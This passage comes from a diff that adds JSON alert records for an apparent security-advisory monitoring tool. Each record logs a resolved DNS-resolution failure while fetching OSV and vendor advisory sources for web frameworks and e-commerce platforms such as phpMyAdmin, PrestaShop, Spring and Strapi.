+ "alert_id": "phpmyadmin::OSV phpMyAdmin",
+ "system_id": "phpmyadmin",
+ "display_name": "phpMyAdmin",
+ "source_name": "OSV phpMyAdmin",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "phpmyadmin",
+ "display_name": "phpMyAdmin",
+ "source_name": "OSV phpMyAdmin",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "phpmyadmin::phpMyAdmin Security Page",
+ "system_id": "phpmyadmin",
+ "display_name": "phpMyAdmin",
+ "source_name": "phpMyAdmin Security Page",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "phpmyadmin",
+ "display_name": "phpMyAdmin",
+ "source_name": "phpMyAdmin Security Page",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.phpmyadmin.net/security/",
+ "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "prestashop::Friends Of Presta Security",
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "Friends Of Presta Security",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "Friends Of Presta Security",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://security.friendsofpresta.org/",
+ "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "prestashop::GitHub PrestaShop Advisories",
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "GitHub PrestaShop Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "GitHub PrestaShop Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/PrestaShop/PrestaShop/security/advisories",
+ "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "prestashop::OSV PrestaShop",
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "OSV PrestaShop",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "OSV PrestaShop",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "prestashop::PrestaShop Security Page",
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "PrestaShop Security Page",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "PrestaShop Security Page",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://build.prestashop-project.org/news/",
+ "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "rails::OSV Rails",
+ "system_id": "rails",
+ "display_name": "Ruby on Rails",
+ "source_name": "OSV Rails",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "rails",
+ "display_name": "Ruby on Rails",
+ "source_name": "OSV Rails",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "react::OSV React",
+ "system_id": "react",
+ "display_name": "React",
+ "source_name": "OSV React",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "react",
+ "display_name": "React",
+ "source_name": "OSV React",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "redmine::OSV Redmine",
+ "system_id": "redmine",
+ "display_name": "Redmine",
+ "source_name": "OSV Redmine",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "redmine",
+ "display_name": "Redmine",
+ "source_name": "OSV Redmine",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "redmine::Redmine Security Advisories",
+ "system_id": "redmine",
+ "display_name": "Redmine",
+ "source_name": "Redmine Security Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "redmine",
+ "display_name": "Redmine",
+ "source_name": "Redmine Security Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.redmine.org/projects/redmine/wiki/Security_Advisories",
+ "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "saleor::GitHub Saleor Advisories",
+ "system_id": "saleor",
+ "display_name": "Saleor",
+ "source_name": "GitHub Saleor Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "saleor",
+ "display_name": "Saleor",
+ "source_name": "GitHub Saleor Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/saleor/saleor/security/advisories",
+ "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "saleor::OSV Saleor",
+ "system_id": "saleor",
+ "display_name": "Saleor",
+ "source_name": "OSV Saleor",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "saleor",
+ "display_name": "Saleor",
+ "source_name": "OSV Saleor",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "shopware::OSV Shopware",
+ "system_id": "shopware",
+ "display_name": "Shopware",
+ "source_name": "OSV Shopware",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "shopware",
+ "display_name": "Shopware",
+ "source_name": "OSV Shopware",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "shopware::Shopware Security Advisories",
+ "system_id": "shopware",
+ "display_name": "Shopware",
+ "source_name": "Shopware Security Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "shopware",
+ "display_name": "Shopware",
+ "source_name": "Shopware Security Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/shopware/shopware/security/advisories",
+ "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "spring-boot::OSV Spring Boot",
+ "system_id": "spring-boot",
+ "display_name": "Spring Boot",
+ "source_name": "OSV Spring Boot",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "spring-boot",
+ "display_name": "Spring Boot",
+ "source_name": "OSV Spring Boot",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "spring-boot::OSV Spring Boot::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 6.869
+ }
+ },
+ {
+ "alert_id": "spring-boot::Spring Security Advisories",
+ "system_id": "spring-boot",
+ "display_name": "Spring Boot",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "spring-boot",
+ "display_name": "Spring Boot",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://spring.io/security",
+ "summary": "spring-boot::Spring Security Advisories::network::HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 8.73
+ }
+ },
+ {
+ "alert_id": "spring-framework::OSV Spring Framework",
+ "system_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "source_name": "OSV Spring Framework",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "source_name": "OSV Spring Framework",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "spring-framework::OSV Spring Framework::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 6.926
+ }
+ },
+ {
+ "alert_id": "spring-framework::Spring Security Advisories",
+ "system_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://spring.io/security",
+ "summary": "spring-framework::Spring Security Advisories::network::HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 6.922
+ }
+ },
+ {
+ "alert_id": "spring-security::OSV Spring Security",
+ "system_id": "spring-security",
+ "display_name": "Spring Security",
+ "source_name": "OSV Spring Security",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "spring-security",
+ "display_name": "Spring Security",
+ "source_name": "OSV Spring Security",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "spring-security::OSV Spring Security::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 6.934
+ }
+ },
+ {
+ "alert_id": "spring-security::Spring Security Advisories",
+ "system_id": "spring-security",
+ "display_name": "Spring Security",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "spring-security",
+ "display_name": "Spring Security",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://spring.io/security",
+ "summary": "spring-security::Spring Security Advisories::network::HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 8.705
+ }
+ },
+ {
+ "alert_id": "strapi::OSV Strapi",
+ "system_id": "strapi",
+ "display_name": "Strapi",
+ "source_name": "OSV Strapi",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "strapi",
+ "display_name": "Strapi",
+ "source_name": "OSV Strapi",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "strapi::OSV Strapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 1.724
+ }
+ },
+ {
+ "alert_id": "strapi::Strapi GitHub Advisories",
+ "system_id": "strapi",
+ "display_name": "Strapi",
+ "source_name": "Strapi GitHub Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "strapi",
+ "display_name": "Strapi",
+ "source_name": "Strapi GitHub Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /strapi/strapi/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/strapi/strapi/security/advisories",
+ "summary": "strapi::Strapi GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /strapi/strapi/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 1.701
+ }
+ },
+ {
+ "alert_id": "sveltekit::OSV SvelteKit",
+ "system_id": "sveltekit",
+ "display_name": "SvelteKit",
+ "source_name": "OSV SvelteKit",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
+ "updated_at": "2026-03-20T15:45:58+00:00",
+ "resolved_at": "2026-03-20T15:45:58+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "sveltekit",
+ "display_name": "SvelteKit",
+ "source_name": "OSV SvelteKit",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "sveltekit::OSV SvelteKit::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "elapsed_seconds": 5.23
+ }
+ },
+ {
+ "alert_id": "symfony::OSV Symfony",
+ "system_id": "symfony",
+ "display_name": "Symfony",
+ "source_name": "OSV Symfony",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-20T13:41:26+00:00",
